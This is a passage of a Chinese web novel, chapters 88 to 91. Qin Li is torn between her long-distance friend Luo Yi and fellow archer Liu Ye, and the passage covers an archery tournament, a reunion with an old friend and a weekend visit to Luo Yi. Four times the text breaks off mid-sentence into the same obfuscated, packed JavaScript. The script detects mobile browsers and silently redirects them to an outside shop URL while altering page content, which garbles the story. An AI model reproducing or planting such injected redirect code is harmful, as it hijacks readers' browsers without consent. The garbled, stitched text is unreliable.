培训相处的三个月,两人都记住了彼此的生理期时间。洛依是反应比较大的那种,每次日子前后,秦离都会很在意,担心她会不舒服,准备好药和巧克力,总之怎么样能让她舒服点就怎么来。 反倒是秦离自己,因为大部分时候没什么反应,就不太注意这些了,生理期一样生冷不忌,什么吃完重辣的火锅马上吃冰淇淋都是基操。 她其实没有那么难受,但就是想说给洛依听,见她发这样的消息过来,失落地按掉手机,不想回复。 烦……更难受了……呜…… 这时,突然有电话进来,秦离吓一跳,发现是洛依后连忙接通。 “喂……”她声音有些紧张,干巴巴的,说完清了清嗓子。 洛依的声音穿透听筒显得好轻柔:“现在是还在房间里吗?” “没有,我跑卫生间来了,她们都睡着了,还好这里放了卫生巾。” “那就好。” 电话那边还有键盘和鼠标的声音,然后似乎是电脑被扣上了。洛依换了个地方,声音变得清晰:“那你现在还难受吗?” “难受……”秦离语气可怜巴巴的。 洛依叹了口气,道:“我看了下,你那边最近晚上还是有点冷。你看你朋友家有没有布洛芬,本来应该提前吃的,现在将就吃了。然后去喝点热水,吃点甜的,拿被子把肚子捂着,慢慢揉一揉可能会好一点。” “生理期到了,得多注意点,不要折腾自己的身体了。” 说到后面,她的语气听上去有点凶,秦离就显得很乖了:“好哦。” 秦离收拾完,不想回房间打扰杨颖她们,干脆跑到沙发上窝着。沙发上有小毯子和抱枕,也挺暖和。 她缩成一团,望着窗外的高楼和霓虹灯,和洛依说着话。 有好多好多话想说啊,秦离恨不得将每时每刻遇到的人和事,她心中所想全部分享给洛依,也想知道洛依那边发生的所有事。 两人好像有说不完的话题,这么聊着,连小腹那点隐痛都可以忽略了。 好幸福,呜。 直到最后,手机电量告罄,秦离又没带充电器出来,才恋恋不舍地跟洛依说结束。 洛依已经打了好几个哈欠了,说话都迷迷糊糊着:“快睡吧,很晚了。还好明天不用上班。” “是呢!那晚安啦~” “晚安。” 刚挂电话,手机就自动关机了。秦离脸上还挂着笑,蹑手蹑脚进房。 有个幽幽的声音传来:“打完电话了?” 秦离一惊,差点叫出来,转头发现是杨颖醒着,侧着身体在刷手机呢。只是她手机屏幕小,亮度又很低,秦离进来一时没发现。 “你吓死我了,怎么不睡觉啊?” “我还问你,大半夜的怎么不睡觉呢。” 秦离嘿嘿笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370218|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 杨颖自然是明知故问,看不得她那副傻笑的样子:“好了好了,知道你跑去和小妹妹煲电话粥去了,大半夜的。” 秦离“辩解”着:“我例假来了,不舒服嘛,她知道就打电话安慰我。” “啧啧,就这样了,还说她对你没意思呢。” 秦离抿嘴笑着不说话,但心里也多了一点底气。 杨颖是真心给秦离出主意的,说道:“说真的,作为旁观者,我觉得你俩确实有希望。现在这年头,遇到个喜欢的人不容易,如果你真的喜欢,就放开手去试试吧,不管结局如何,不留遗憾就好。” 秦离听进去了:“嗯,我知道。” 秦离有心推进关系,洛依那边却不接招。 她们每天发很多消息,从那天起,断断续续还会打电话,但一旦秦离试探着提起恋爱相关的话题,洛依就很回避。秦离这边冷下来,她那边又会追着主动一些。 时间长了,秦离有些疲累。 裴子霜是一如既往泼冷水的那个:“她不是在吊着你吧?算了,反正也是异地,别折腾了,还搞得你心情大起大落的,不划算。” 秦离摇了摇头:“不是这样的。” 她知道洛依过去的感情经历,知道她经历过异地恋,又经历过前任的冷暴力,有多痛苦,也明白她面对爱情的胆怯。况且客观来说,两人认识还不到半年,时间确实很短。 但她难免有些灰心丧气。 恰巧这时候,箭馆通知半个月后有个环南城的片区比赛,规模不大,很适合新人参加。老板特意给秦离发了消息,让她一定要报名。 “啊,我?”秦离自我怀疑,“我还是打室内场的人呢,能去打比赛?” 她确实是早早买了专业弓,也在上私教课,但三天打鱼两天晒网,去的频率低,现在都没去室外练过呢。要知道比赛的靶子距离可是三十米,室内的撑死了也就十来米。 老板是个精干飒爽的老大姐,说话一点不客气:“来嘛,半个月时间足够了,你天天来训练,我保准你上场没问题。” “你认识那几个,柳叶啊,她们都来的。” 听老板不知是有心还是无意提起,秦离心中一动,口风松了点:“那我考虑考虑。” 老板是不给她留一点犹豫的空间,乘胜追击:“别考虑,就这么定了,我已经把你名字报上去了,你记得今天开始来上课,还有跟大家一起特训哈。” 秦离哭笑不得,最后还是应下了:“好。” 打比赛啊……那就去试试吧。 说起来,她有一阵子没去箭馆,也确实很久没见过柳叶了。 想到这里,秦离忍不住给柳叶发消息过去:【这次比赛你要参加吗?】 柳叶回得很快:【去啊,我和豆豆他们报了团体赛,我自己也要打单人赛。】 【这样啊。】 【你要来吗?说起来,是好久没看你来射箭了,松懈了啊。[机智]】 没想到对方会注意,秦离心情微妙,很快回复:【来的,今天开始来训练。】 【那太好了,一起加油吧!】 【嗯,一起加油。】 89. Chapter 89 接下来半个月,秦离开始了每天的紧张训练。工作日,她差不多五点就酝酿着准备跑路,开一个小时车到箭馆,跟着所有人一起做体能强训,然后就直接练习室外靶,每天累得要死不活。 即便如此,她也只能说是勉强跟上大家的进度。 特别是到室外练习时,所有人都熟练搭弓,跟着一轮节奏拉弓出箭,然后集中去看靶拔箭。秦离混在里面显得格格不入,练了几天了,好像一点没找到窍门,难免泄气。 店里备战的人很多,老板和教练顾不过来,也没法一直在她身旁指导。 训练了几天,秦离就开始懈怠了。到周末,训练强度拉大,她练了会就不想动,趴在旁边的沙发上摸鱼,跟洛依发手机。 【有点无聊,不想练了,呜……】 洛依今天和同事一起出去吃饭,还约着玩一整天,心情似乎不错。 【看你自己?如果确实没什么兴趣,也不用硬逼自己参加。】 【倒也没到硬逼的程度啦。】 秦离就是觉得枯燥,没什么成就感。 这时,她面前突然出现了一瓶冰红茶,晃了晃。 秦离抬头看,是柳叶。她今天穿着白色背心,戴着黑色发箍,脑后半扎马尾,看着很清爽。 柳叶将冰红茶递给秦离,拉过旁边的椅子,面对椅背跨坐在上面,问道:“怎么不去练习?” 秦离将脸贴在冰冻的瓶子上,泄气道:“打得太差了,提不起劲。我在想要不这次还是算了,等我练练,下次再打比赛。” 柳叶给她打气:“别呀,试试,反正都是去玩。我看你还行啊,挺有天赋,力气足,而且这么短时间已经能跟上室外场的节奏了。还有一周多呢,天天练,技术噌噌噌就提上来了。” 两人离得近了,秦离看着熟悉的眉目,心弦颤了颤。她呼吸变快,但除了燥热的夏日气息,什么也没闻见。 看她还是有点蔫,柳叶干脆道:“你再打,我帮你看看。” 秦离又站在了射箭点。她握弓搭弦,感受到柳叶的视线,身体紧张。 “放松,别憋气,按你平时的节奏大胆打就是了。” 一进入射箭状态,柳叶的语气就变得严厉,秦离更紧张了。 第一箭,弓还没拉满就撒放了,不出意外脱靶。秦离握紧弓把,心里有些烦。 看出她的情绪,柳叶放缓语气:“没事,脱靶很正常,我到现在还会脱靶呢。你就是太紧张了,但姿势没什么大问题,发力部位是对的,手臂旋转位置也很合适,只是持弓要久一点,数上几秒,再让弓弦从指尖滑出去。” “对了,还有你的瞄头要调下,偏右上了。” 柳叶说着,直接上手,很快帮秦离调整好。 “好了,再试试。” 有人关注着,秦离更认真了,这次按照柳叶刚说的,将弓拉够,不管颤抖的手臂,深呼吸,慢慢瞄好了,再让弓弦滑出。 七环。 “不错,继续。” 在柳叶的指导下,秦离脱靶次数减少了,大部分时候都能上靶,偶尔还能射中个黄心。成就感上来,不用柳叶说,她也想继续,脸上又挂起了笑容。 这时,老板过来了。她和柳叶是熟人,话里调侃着:“怎么还一对一指导上了,秦离你这不拿个奖可对不住柳叶。她技术完全够当教练了,但平时只爱自己练,我让她教教其她人,她老不乐意了。” 太阳太大,秦离的脸有些泛红。 “别瞎逗人了。”柳叶毫不留情给了老板一肘子,“我那是不乐意来吗?就你那点工资,我懒得浪费时间。你要是给我开个两三万什么的,我要是不马上来,绝对是身边没有签合同的笔。” 老板捂着肚子呲牙咧嘴,苦哈哈道:“我也想开,这不是没钱嘛。现在疫情这架势,最近还好,之前三天两头就得关门,别说赚钱了,还能维持经营都算我厉害。” “是吗?”秦离现在在体制内了,总觉得没什么概念,“这么严重?” 柳叶感叹道:“是啊,不知道这形势还要维持多久,反正我已经在吃老本了。” 三个人凑一起,聊的天还挺多。 秦离在箭馆呆了一整天,吃吃喝喝练练,直到十点关店,才和柳叶一起往地铁站走。 今晚的月牙弯弯,悬挂在树梢上,空气依旧是炽热的味道。 两人并肩走着。变回两个人了,秦离反而不知道要说些什么,听着柳叶主导话题,只有心脏扑通跳着。 她有点不明白自己了。 地铁站内,两人去往不同的路线,挥手告别。 “那明天见了,继续加油吧。” “明天见。” 回程的路上,秦离才来得及跟洛依详聊,白天时两人的消息都是断断续续。 洛依已经回去一阵了,问道:【终于结束了啊?】 【嗯。】秦离心情已经平静下来,【明天再继续。】 【每天都要练这么久啊……[奶茶鼠转圈.gif]】 【要准备比赛嘛。[摊平.jpg]】 【噢。还不知道你射箭起来是什么样子呢……】 【我明天拍照给你。】 之后一周多时间,秦离依旧忙于备战。她被拉扯成了两块,一块沉浸与柳叶一同练习中,总是在箭馆呆到最后一刻才离开,一块又牵挂在小小的屏幕上,总想着再和洛依多发些消息。 练习的间隙和柳叶对视时,她会心跳加快。和洛依发着那些略显暧昧的话,她也会心跳加快。 人可以同时对多个人有好感吗?或许是的吧,现在要是天仙站在她面前——她边想着边唾弃自己做梦——她也会心跳加快吧。 说不定哪天她走在路上,看见路边的小狗都会心跳加快呢。 这么说来,什么喜欢,什么爱,似乎都不算什么。 爱情,好没意思啊。 这么想着,人生也挺没劲的。秦离知道自己又变丧了,但难以控制脑子里的悲观想法。 比赛的日子很快就到了,是个艳阳天,场地设在了南门郊区公园。参加比赛的队伍很多,扎了一长排的亭子,密密麻麻都是人。 比赛分了单人赛和团体赛,有反曲弓、复合弓、光弓和传统弓区域。传统弓那里是最五花八门的,什么蒙古弓、日本弓、北美猎弓都有,看着倒挺有意思。 老板和教练要忙着交承诺书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370219|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和核酸检测报告,搬物资、签到、分区扎点、安排不同组的人去练习,忙得兵荒马乱。 秦离第一次经历这种场景,站在亭子前有点不知所措。 这时,柳叶单手持弓,拉了拉她的胳膊:“愣在这里做什么,快带着装备,跟我去试场。” 秦离呆呆的:“啊,好……” “等等,你的护胸呢?” 秦离这会各种反应慢半拍,柳叶干脆上前去帮她调节带子长短,又不放心地检查了她的其它装备。 “好了,快快快!” 上场的那刻起,就没有任何人可以帮你了。 秦离一开始也是手忙脚乱,六根箭能脱靶三四根,到后面按照柳叶教的方式调整瞄头,深呼吸慢慢来,逐渐找到感觉了。 去拔箭的时候,盛夏烈日灼烧青草的味道闻着都让人舒心。 下场时,柳叶夸她:“状态不错啊。” 秦离抿嘴笑着,对比赛多了些期待。 反曲弓女子组,先按积分排名,再根据第一名对最后一名的方式进行分组对抗赛。秦离的发挥在意料之中,积分赛结束排名在中后段位置。 她毕竟练习时间还是太短了。 大家都安慰她:“没事,你现在能打到这个排名很不错了,对抗赛的时候加油啊!” 秦离一点不气馁,面颊红润,越打越亢奋。平时她十二组箭都根本不能连续打完,今天不仅打完了,而且一点都不累,感觉还能再打十二组。 看她跃跃欲试的样子,柳叶笑道:“你这是肾上腺素分泌。都说了比赛会比平时更好打,看吧,你一开始还不想来,现在觉得爽了吧。” “嗯!”秦离看着她,眼睛很亮。 对抗赛的时候,柳叶拿着望远镜在后面帮她看着,每箭结束后给她报方位调整。 听着她沉稳的声音,秦离觉得很安心。她每次转头,就能看见柳叶干练的身影和冷静的姿态。 这一刻,没有任何烦恼,世界都变得很纯粹,她心中只想着一件事,便是搭弦拉弓出箭。 最后,秦离艰难挺过了第一轮和第二轮,输在跟综合第三名的对决上,拿了个第八名的成绩。这对她来说已经很不容易了。 柳叶状态一直很稳定,毫无意外拿了第一名。 阳光下,她的笑容很好看。 女子组比赛结束了,秦离和大家一起坐在草地上看其他人比赛。 这时,她才有心情观察场上其她人,一眼望过去姬达狂响。毫不夸张地说,场上女性感觉大概是三分之一的拉拉,三分之一的bi和三分之一的直女。 想到这个形容,秦离自己都笑了。 旁边柳叶问她:“想什么呢,笑这么开心。” 秦离将她的感觉说了,于是柳叶也开始笑,边笑边道:“嘛,你的感觉也不算错,射箭这个圈子,就我了解,弯的确实非常多。” 两人有一句没一句聊着,秦离抬头望天,感慨道:“真好啊……” 柳叶等下还有团体赛要打,正在调整她的护指,闻言道:“以后多来参加比赛吧。” “好啊!” 风轻轻吹着,天空很蓝,阳光明媚,气氛和谐。 90. Chapter 90 秦离去射箭的次数变多了。 柳叶来的频率一直很高,经常和箭馆的其她人一起吃火锅唱K,有时候还有她的其她朋友。秦离也跟着去了几次,但和其她人不太玩得到一起,只是找着些机会和柳叶聊天。 这群经常一起吃喝玩乐的人都很熟,互相开玩笑也很多,秦离在里面显得有些格格不入,太正经,话也不多。 柳叶明明比秦离还小一岁多,却显得游刃有余,会顾着她,不让她太边缘无聊。 柳叶有时会感慨:“你还挺内向的。其实不用那么收敛,都是出来玩的,放开些,随意就行。” 从小到大,第一次有人说自己内向,秦离看着自己百分之七十多的e值哭笑不得。 要是柳叶的话,大概能冲到百分之百吧。 其实秦离也知道自己面对她时总是太紧张了,就像回到了懵懂无知的学生时期,面对成熟老练的社会人,总是想表现自己,担心出什么岔子,表现出幼稚的一面。 秦离将心情告诉洛依——当然去掉了对柳叶那点微妙的感觉,道:【就是觉得自己看似经历了不少,实际还是没什么长进。】 她时常有这样的感觉,自己拼命朝前奔跑着,好像在不断成长,但情绪低落时才发现,那些刻在骨子里的怯懦和犹疑仍在,就等着她虚弱的时候一举进攻。 然后打回原形,一败涂地。 【你怎么会这么想!】 【你很厉害啊,读书这么好,工作也是实打实考进来的,而且工作之外还会努力去提升自己,学吉他啊射箭啊日语啊,人上进又会处事,现在我们这边接触过你的人都还会夸你呢。】 【奶茶鼠星星眼.gif】 【我就不行了,这破班上的,休息时间只想躺平打游戏。该死的蛾子,今天又闹腾出新花样了。】 蛾子是洛依给她们奇葩科长取的代号,说他整天闹幺蛾子,瞎折腾。 秦离被逗笑了:【这么夸我啊。】 【是事实呀。】 秦离心情好许多了,说起射箭的情况。最近进入瓶颈期,练得不少,技术却每什么长进,有时候成绩还会倒退。虽然教练说这种情况是正常的,再多练练就能突破,但她还是逐渐失去兴趣。 想到枯燥,但没想到这么枯燥,哎。 洛依感慨:【你射箭也去得够频繁了哦,一周要去个四五次,这还是要开一个小时车,也是你能跑。】 【这阵子比较上头嘛。】当然或许也有些其它原因。 洛依似乎也隐约察觉了些:【我看你最近也经常和箭馆朋友一起聚会呀,玩起来有时候都顾不上看手机了。[小猫委屈.jpg]】 又是这种感觉。 秦离觉得或许是自作多情,但有时候就好像这样,洛依总会隐晦地试探什么,说些似是而非的话。 她这次没有圆过话题,半真半假道:【跟大家都还挺聊得来的,而且基本都是女生,弯的还多,相处起来也有种同类的感觉。】 【这样啊……】 过了阵,洛依才又发了句:【那有遇见感兴趣的吗?】 这下沉默的变成秦离了。她看着远处专心射箭的柳叶,还是如实说了:【遇见了个,跟前任有点像的人,也是天蝎。】 【哼,就这么喜欢天蝎啊。】 【谈不上喜欢,就是刚好遇到了。】 秦离还想发句“我现在喜欢什么,之前都说过”,但想想每次抛出这种话题时洛依顾左右而言他的样子,还是将打完的字都删了。 算了。 喜欢什么,好像都不重要。 这之后,洛依问到柳叶还有箭馆其她人的频率变多,秦离去的次数反而变少了。 一方面是单位有人要离职了,相关业务要全部交到她手上,包括一些紧急的大项工作。秦离变忙了,又被一堆不熟悉的事务纠缠着,还要和上级下级许多人打交道,疲惫不堪,下班也只想躺着了。 现在,她吐槽工作的频率跟洛依差不多了。上班日两个人都是怨气冲天,也是好笑。 另一方面,柳叶要去外地出一个多月的差,她最后一点去箭馆的动力也没有了。而且疫情又严重了,箭馆也开开停停,来的人少了很多。 算了。 唯一称得上好消息的大概就是蒸蒸要来南城出差。从E大毕业后,秦离就再没机会和她见面,算算已经过去六年了,最后一次聚似乎还是去漫展,她那次已经懒懒的不想cos了。 现在两个老二次元都变成了悲惨社畜,物是人非啊。 再次见面,蒸蒸还跟过去一样可爱,模样没什么变化,只是穿上更成熟的职业装,冒充现充啦。她现在在某家薯片公司商务部上班,这次过来看这边某地的土豆情况,顺便给秦离带来了刚上新的口味。 大白兔味,老坛酸菜味,还有螺蛳粉味。 倒是甜口咸口都有了。 螺蛳粉啊…… 坐在咖啡厅里,秦离有些怀念地开袋尝了片,然后默默将口子封紧。 这味道,真是很微妙啊…… 蒸蒸在一旁狂笑:“哈哈哈哈,怎么样,有意思吧,我也不知道那群研发部的人脑子里每天哪来那么多奇奇怪怪的想法,不过听说老板也很喜欢就是了。” 她看上去很有活力,工作似乎也很有趣,秦离有些羡慕。 蒸蒸正小口吃着芝士蛋糕,闻言没形象地趴在桌上叹气:“羡慕啥啊,弹性工作,有KPI,也不少奇葩客户,动不动就要出差——当然有时候这个还不错,工资嘛,也就那样。” 秦离选的是红丝绒蛋糕,问道:“那你现在还追番吗?” “哪有时间啊,而且也看不进去了,满脑子都是现实生活,可恶!你呢?” “……我也。” 她现在倒不是说完全没有时间,但总安排了很多事要做,很急切地想要改变,似乎也留不出时间,更没有心情享受纯粹的二次元快乐。 “哎……” 现在趴在桌子上的人多了个,两人双双叹气。 晚上,秦离带她吃了现在的南城特色。 “不吃火锅,就吃xx。” 铺天盖地都是宣传,外地朋友来了都说好。 虽然好几年没见面了,两人一点不生疏,聊起天来话撵话,一刻也停不下来,最后还一起调了点老番出来看,感慨着,果然还是老番最经典啊! 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370220|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概是年龄大了就开始怀旧吧,两人聊了好多过去的话题,连带着原本褪色的记忆都变得清晰。 “那次旅团大队人是真齐啊,连幽游和levele的角色都有,还有个黑披风戴面具的老贼,哈哈哈哈~” “是啊,后来再也没那么齐过,可惜我们最初没好好拍一套正片。” 那时候经验还是太不足了,最初团片喊了好几个摄影,拍得乱七八糟,没能出片,不过倒是玩得很开心。 那段不用为现实生计发愁的日子真的很快乐,也不用直面社会的焦虑。 真好啊…… 说到那次难忘的大队游场,蒸蒸提到的事也越来越多:“说起来,那天你还带了你女朋友过来吧。” 秦离愣了下才道:“……嗯。” 是黎羽唯一一次陪她去漫展的时候吧。 察觉到秦离反应平淡,蒸蒸才从兴奋的聊天状态里脱离出来,意识到不对:“啊,你们……” 秦离很坦然:“我毕业前就已经和她分手了。” “这样啊,”蒸蒸有点不知所措,“抱歉,我不知道。” 秦离笑道:“没事,都好几年前的事了,当时也是有过许多快乐记忆了。” “那也不错呢。”见秦离确实不介意,蒸蒸才放宽心,“不过可惜了,当时看你们俩真的很配啊。” “很配……吗?”秦离喃喃道。 有一些尘封的记忆和情绪从时间长河里又洒了出来。她捂住心口,怅然若失,似乎又能感觉到当年那种极致的快乐和撕裂的痛苦。 但是过去所有东西,都已经被彻底扔进垃圾桶,找不到一点痕迹了。 蒸蒸没有听到她的喃喃自语,好奇道:“那你那之后有谈新的吗?” 秦离摇头。 蒸蒸感慨:“你这么专情啊,是还喜欢那个人吗?” 秦离还是摇头:“都这么多年了,没有什么喜欢不喜欢的,只是刚好没遇到合适的。” 不想在黎羽的话题上再纠缠太久,秦离主动提起:“其实最近也有喜欢上新的人,但对方或许没有恋爱的打算。” 她说起洛依的事,说起两人的相处,她最近的烦躁,蒸蒸道:“听上去,你还挺喜欢她的,对方拒绝了你的表白吗?” “要说直白拒绝好像也不是,她不想异地恋,也不想那么快进入一段恋爱。” “但这么拉扯着对你来说也不公平吧。” 秦离的倾诉欲强了些,干脆那点卑劣的左右摇摆的心情也讲了。 蒸蒸哈哈大笑:“这果然是你。不过反正都还没谈,也没什么错嘛。不过这样长久下去确实也没什么意思,要不你就干脆下定决心,跟其中一边好好发展吧,不然一直拉扯着也太痛苦了。” “选定一边,你也可以满心去付出追求。” “下定决心……吗?” 其实和蒸蒸聊之前,秦离也隐隐有些想法了。她本就不是拖泥带水的人,有了喜欢的心情,就不想卡在不清不楚的位置。 而且,或许是进入人生新阶段的原因,或许是又找到了一些对爱情的渴望,她真的很想好好谈一段恋爱,简单快乐就好。 她已经有决定了。 91. Chapter 91 两人聊到快两点,秦离才送蒸蒸回酒店,很不舍,毕竟下次见面不知道是什么时候了。 回家的路上,秦离仍沉浸在和过去基友见面的快乐中,难得有兴致好好编辑了两人合照和蒸蒸带来的礼物照片,发在朋友圈,配字: 【和基友时隔N年的再见面,聊得依旧很快乐,跟那年人广的寿喜烧时刻一模一样哈哈~ 我:五点就问领导能不能走了[捂脸]堵了快两个小时到市区 感谢带给我的各类新奇(?)口味薯片哈哈 螺蛳粉味!我大胆来了!是爱(?)的味道[狗头]】 照片上,两人都笑得很灿烂。 点赞来得很快,秦离在其中看见了洛依。洛依平时很少点赞朋友圈,这大概是两人分开后的第二次,上一次还是射箭比赛的时候。 秦离问她:【还没睡吗?】 洛依回得很快:【下雨了,头有点痛,睡不着。】【你已经和朋友见完面了?】 【嗯,刚把她送回酒店。】【你怎么了,又是偏头痛吗,有没有吃药?】 洛依的情绪有些暴躁:【药吃了也没什么用】【就这样吧。】 秦离一时不知道说什么,想什么都无能为力。 洛依又道:【我没事,反正一直都是这样,就扛过来。】【很晚了,你早点回去休息吧。】 秦离也只能道:【好,那你也好好休息,实在不舒服,该请假就请假,别忍着。】 【嗯,没事。】 第二天是周三,洛依又恢复正常,连语气都变得活泼。 【头痛好些了吗?】 秦离昨晚搜了很多偏头痛的治疗方式,给洛依全都发了过去。她不敢贸然下单买药寄过去,总担心太冒犯了。 【好些了,眼睛带着太阳穴还是有点痛,不过还能忍。】 【没有请假吗?】 【算了,今天还有事要干。该死的蛾子,说什么今天必须把这个材料弄出来,下午开会前要给领导汇报。这破班是一天都不想多上!周末怎么还要这么久啊……】 洛依是技术岗位编的人,现在莫名其妙开始干人事的活,繁杂又背锅,打黑工还不得不干。她就想着什么时候能放她回技术岗上,也能跟着师父好好学点东西。 秦离突然想起她在商大时提到的,问道:【之前你不是说有机会调到南城吗,怎么样了?】 【额,那好像是个交流项目,但跟我们没什么关系。家里还是考虑,争取呆个一年的样子就把我调去花城,离家也近。】 其实洛依之前也提过这件事,要成早成了,秦离只是不抱希望地再问问。而且秦离在单位呆久了,也知道她和洛依分属于不同的上级单位,内部自成晋升调岗体系,基本不可能跨地区跳动。 答案果然是否定的。 昨晚下的决定在心中愈发坚定,秦离道:“我想这周末到春城来玩,你有空见面么?” 她心里想的实际是跟洛依做最后的告别,等这次见面结束,就真的真的下定决心不再和她联系,结束这种无意义的拉扯。 她也空窗期太久了,或许认真去追求柳叶是个不错的选择。 人总要有些盼头。 洛依对秦离的想法一无所知,倒是很开心:“那太好了!就是时间有点紧,要不你国庆或者中秋过来?时间长一点。” 秦离已经不想再多受一刻的折磨了:“那还有两个月呢。没事,南城过来也很快,我就是放松放松,也没考虑去什么景点玩。” “那好呜~[奶茶鼠转圈.gif]你什么时候过来啊?我叫上罗娜一起来接你。” 秦离翻了下航班:“我坐这周五晚上八点的飞机吧。”她一下班就赶去机场。 “好!0~0” 接下来两天变得很漫长。好不容易挨到周五,秦离挑了很久的衣服,下午坐立不安,找了个借口,拎着箱子提前跑了。 飞机上,她的心一直吊着,直到到了春城,在出口看见洛依的那一刻,才落了下来。 “这里。”她挥着手,有些不自在。一个月没见,看着洛依的模样竟然有点陌生。 虽然她仍是那么可爱。 洛依看见她了,也挥着手,难得情绪外露。她今天穿了件黑色运动衫,戴着同色的鸭舌帽,背了个很花的挎包,口罩将大半张脸遮得严严实实。 走近了,秦离才发现罗娜也在旁边,一如既往的开朗:“哇,秦离,你穿得像是要到海边度假似的。” 洛依赞同地点点头,眼神飘忽。 秦离确实是精心打扮过的。她今天穿了件胸前镂空的吊带复古碎花黑色连衣裙,戴着红色墨镜,还喷了香水,有些性感。 罗娜开车,三人去春城最繁华的商业区吃宵夜。 停车的时候还闹了个笑话。商业区车位火热,好不容易找到个空位,正遇到前面有行人慢悠悠走着,罗娜从车窗伸出头去喊道:“前面的人,麻烦让一下。” 洛依和秦离一起坐在后排,笑她:“你要笑死我,怎么不按喇叭啊。” 秦离看着她满是笑意的双眼,也开心地笑着。 春城的本地菜很好吃,三人吃完过十二点,到酒店聊完天已经快两点了。 罗娜是本地人,得回家,临走前问洛依:“要送你回单位吗?” 洛依犹疑了片刻,摇头:“算了,太晚了,我就在这睡一晚吧。” 秦离订的是标间,一开始便有点想法,没想到真成了,心跳快了些。 罗娜走后,原来吵闹的房间变得安静又拥挤。两人洗漱后躺在各自的床上,隔着浓浓的黑暗说了许久的睡前悄悄话。 “你的挎包颜色好跳,不像你平时的风格啊。” “嗯,我爸买的,非说很适合我,他们老年人就喜欢这种风格。” “哈哈,难怪是长辈商务风。不过你平时穿得太素了,配个这样的也不错。” “是么……” “我们明天做什么呀?” “唔,明天……明天睡醒……” 秦离意识到洛依困了。 窗外,偶尔有车辆路过,映进来些灯光。黑暗中,洛依隐约的轮廓都看得人心生怜爱。 秦离声音放得轻柔:“睡吧,那明天再说,晚安。” “……安。” 第二天,秦离醒得很早。她现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370221|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡眠已经变得很少了,不是睡不着,是不舍得睡,总有很多事等着做,出来玩也不例外。 她靠在床头,挤时间写着今天更新。最近心情变了,原本连载的题材写不下去,索性新开了篇文。 旁边,洛依睡得香甜,秦离不舍得打扰她,确认手机上所有声音都关了。 罗娜的消息也来得很早,发在三人小群里:“醒了吗?” 秦离给她发私聊:“洛依还在睡,我们晚点再开始今天的活动吧,等她醒了我跟你说。” “我还说早上带你们吃这边的特色米线呢。行,那晚点再说。”“对了,我今天带个朋友哈。” “好。”秦离自然没意见。 洛依醒来时已经过十二点了。刚醒,她看起来呆呆的,坐在床上憨了好一阵。 秦离忍着笑问她:“睡得还好吗?” 洛依抓抓头发:“难得的好觉了,在单位总睡不好。” “那就好哦。” 秦离边给罗娜发消息边道:“中午想吃什么,还有今天想玩什么?” “我都行,看你想做什么?” “我也都可以。”秦离确实没什么想做的,只要和洛依呆在一起就好。 两人面面相觑,最后决定就让罗娜安排了。不过秦离还是偷偷跟她说,这次主要是聚一聚休闲活动,不用去什么景点,不然她生怕高精力如罗娜可能会搞个特种兵式行程,她倒是无所谓,洛依可能会累死。 罗娜提议:“那就去你们附近的商场吧,那里的酸菜牛肉不错,吃完我们就看看电影打打电玩,也不用到处跑。” 秦离和洛依都觉得不错。 酸菜牛肉,其实是牛肉加酸萝卜,酸味十足,很开胃,牛肉也很劲道,秦离猛猛炫了几碗米饭,心满意足。 罗娜带了个男伴,话不太多,很依着罗娜,看得出来,两人关系有些暧昧。 春城城如其名,一年四季都是二十来度,和煦如春天,整座城市都是温温柔柔的,走在路上都让人心情舒畅。 下午,四人选了部爆米花商业片,坐下后便两两扎堆凑在一起,气氛分明,像是两对小情侣。 看完,秦离对电影一点印象都没有,脑里萦绕的全是洛依的笑和她身上的香味。 到电玩城里,四人玩着玩着,就彻底两两散开了。 秦离已经很久没来过这种地方了——这种年轻活泼又热闹的地方,还有打扮很二次元的双马尾妹妹在跳舞机那边欢笑吵闹着。 是青春的气息啊。 秦离望向洛依:“想玩什么?” 洛依是一贯的没意见:“我都可以啦。” “那,篮球?” “哈哈,怎么到电玩城还要投篮啊?” “试试嘛,我打球不行,投篮可是很准的哦。” “都行。” 两人比起来,秦离投到手臂发酸都抬不起了,最后险胜。 